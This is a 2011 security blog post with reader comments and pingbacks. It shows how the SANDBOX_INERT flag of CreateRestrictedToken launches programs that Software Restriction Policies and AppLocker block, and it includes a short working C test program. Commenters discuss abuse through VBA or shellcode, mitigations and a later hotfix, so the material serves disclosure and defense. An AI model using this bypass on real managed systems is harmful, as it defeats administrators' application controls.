There’s an interesting comment on my Circumventing SRP and AppLocker, By Design post.
In my previous post, I showed a feature to circumvent SRP and AppLocker validation when a DLL is loaded.
The anonymous commenter points out a feature to create a new process, while circumventing SRP and AppLocker. Flag SANDBOX_INERT in function CreateRestrictedToken allows you to do this.
Per MSDN:
If this value is used, the system does not check AppLocker rules or apply Software Restriction Policies. For AppLocker, this flag disables checks for all four rule collections: Executable, Windows Installer, Script, and DLL.
When creating a setup program that must run extracted DLLs during installation, use the flag SAFER_TOKEN_MAKE_INERT in the SaferComputeTokenFromLevel function.
I wrote a small program to test this:
HANDLE hToken;
HANDLE hNewToken;
PROCESS_INFORMATION sPI;
STARTUPINFO sSI;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
if (CreateRestrictedToken(hToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &hNewToken))
{
memset(&sSI, 0, sizeof(sSI));
sSI.cb = sizeof(sSI);
if (CreateProcessAsUser(hNewToken, L"c:\\test\\Dialog42.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &sSI, &sPI))
{
puts("process created");
}
}
This program starts another program, Dialog42.exe. I’ve configured SRP with a whitelist, Dialog42.exe is not whitelisted:
But when I use my program with the SANDBOX_INERT flag to start Dialog42.exe, it is allowed to run:
Didier Stevens 
[…] te maken dat AppLocker of SRP niet zouden toestaan. Na publicatie van zijn ontdekking kreeg hij een reactie dat dit via de SANDBOX_INERT flag in de CreateRestrictedToken functie toch mogelijk is. De […]
Pingback by Plaats hier software gerelateerd nieuws! - Page 29 — Tuesday 25 January 2011 @ 17:58
Nice piece of code 🙂
This makes SRP & Applocker useless even for controlling what users can manually execute and what not, in an enterprise setting. I don’t have enough juice to influence MS in any way, but maybe an MVP could. Mark Russinovich might be willing&able to help, being he authored gpdisable back then and has say at MS as a tech. fellow. Still, if I cared enough, I’d fix MS up with a report on this crazy feature along with a nice office macro to execute any file on the system regardless of SAFER, a nice tool for any lamer to completely circumvent SAFER and run whatever the F they want. If that doesn’t warrant a patch i don’t know what does.
Technically patching this shouldn’t be that difficult.
Comment by cptanon — Wednesday 26 January 2011 @ 20:49
@cptanon This would actually imply making changes to the WIN32 API: changing the behavior of LoadLibraryEx, … functions. Microsoft only makes changes to the API when it release a new Windows version.
So I have low hopes.
Comment by Didier Stevens — Wednesday 26 January 2011 @ 22:32
There doesn’t have to be any change to the default behavior of the functions, only an option to turn off the problematic flags for those who want SAFER to work. This change wouldn’t affect coding for Windows, since the API would work the same way as before by default. Since we got a response to the insecure search order for some API, this shouldn’t be impossible to pull off. Being M$ though, if they just shrugged this off, wouldn’t surprise me. They’ll never do anything without public pressure. If I had the juice or was more evil, I’d arrange some of that myself. 😀
Comment by cptanon — Thursday 27 January 2011 @ 0:50
[…] DLLs that are not permitted by AppLocker. An anonymous comment pointed out an even bigger issue: starting new processes (=programs) that are not permitted by […]
Pingback by Mount Knowledge » Bypassing Windows AppLocker using VB script in Word and Excel — Friday 28 January 2011 @ 22:53
Very interesting! But wouldn’t your “appstarter-code” be stopped by AppLocker? You did have to whitelist it, right? What is the real world risks with this? Both the app that loads circumventing DLLs and your custom starter code has to be allowed for this to work. Or am I missing something here?
Comment by Tom Aafloen — Friday 11 February 2011 @ 14:30
@Tom Aafloen Correct. Think shellcode that executes via an exploit in a whitelisted process, like Adobe Reader.
Or think VBA in a whitelisted process, like Excel.
Comment by Didier Stevens — Friday 11 February 2011 @ 23:01
This is disgusting! I want this fixed!
Comment by pcunite — Wednesday 16 February 2011 @ 3:00
I heard your interview on “Risky Business” today, you made a great impression, professional and calm.
Just a quick question. Does this work on Windows XP or were these API:s introduced in Vista or Windows 7?
Comment by Tom Aafloen — Wednesday 23 February 2011 @ 11:05
@Tom No, this works for SRPs on Windows XP too.
Comment by Didier Stevens — Wednesday 23 February 2011 @ 11:35
Have you try to do this using Symantec Application Controll (SEP). It would be nice to know is this also working there? 🙂
Comment by Secure? — Wednesday 9 March 2011 @ 10:52
@Secure? I’m sure this works only with SRP and AppLocker.
Comment by Didier Stevens — Wednesday 9 March 2011 @ 21:05
Obviously, the real solution is to run things like Adobe Acrobat in a Job Object where the Maximum Process Count is set to 1. This’ll block process create attempts. You’ll still be able to load a DLL that bypasses SFP though (with the correct loader flag).
Comment by Alex Ionescu — Wednesday 27 April 2011 @ 16:51
[…] Remember Microsoft has features to bypass its own Software Restriction Policies and AppLocker: Circumventing SRP and AppLocker, By Design and Circumventing SRP and AppLocker to Create a New Process, By Design. […]
Pingback by Hotfix For SRP/AppLocker Bypass « Didier Stevens — Thursday 17 November 2011 @ 10:53
[…] is well capable of calling API functions.More information and a test program is available in Didier Steven’s blog.More InformationSubscribe & Connect Follow Helge on Twitter and subscribe to the posts feed, […]
Pingback by AppLocker – Security Problems | Helge Klein | Home of SetACL — Tuesday 7 August 2012 @ 19:28
[…] There is a PowerShell script developed by Michael Bailey which exploits the API function CreateRestrictedToken by using the SANDBOX_INERT flag in order to allow execution of binaries. Since this flag disables checks for all rule collections it is possible to bypass AppLocker and Software Restriction Policies. This vulnerability was discovered originally by Didier Stevens and it was fully documented in his blog. […]
Pingback by AppLocker Bypass – CreateRestrictedToken | Penetration Testing Lab — Friday 7 July 2017 @ 16:43